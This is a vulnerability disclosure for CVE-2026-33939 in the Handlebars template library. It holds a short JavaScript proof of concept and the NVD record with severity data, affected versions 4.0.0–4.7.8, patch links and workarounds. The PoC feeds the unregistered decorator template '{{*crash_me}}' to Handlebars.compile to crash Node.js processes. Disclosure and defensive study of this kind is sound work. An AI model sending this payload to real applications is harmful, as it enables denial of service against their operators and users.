CVE-2026-33939

// PoC for CVE-2026-33939 // Target: Handlebars < 4.7.9 const Handlebars = require('handlebars'); console.log('Testing Handlebars version:', Handlebars.VERSION); // Malicious input containing unregistered decorator syntax const maliciousTemplate = "{{*crash_me}}"; try { // The application compiles user-supplied input const template = Handlebars.compile(maliciousTemplate); // The crash occurs when the compiled function is executed (render) const result = template({}); console.log('Result:', result); } catch (error) { console.error('Caught exception:', error.message); // In a vulnerable scenario without a top-level handler, the process crashes. }

{"cve": {"id": "CVE-2026-33939", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:20.857", "lastModified": "2026-03-31T17:50:47.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, when a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service. Version 4.7.9 fixes the issue. Some workarounds are available. Wrap compilation and rendering in `try/catch`. Validate template input before passing it to `compile()`; reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application. Use the pre-compilation workflow; compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.7.9", "matchCriteriaId": "A9D1F9A7-8359-4C3F-9932-4A085094F388"}]}]}], "references": [{"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}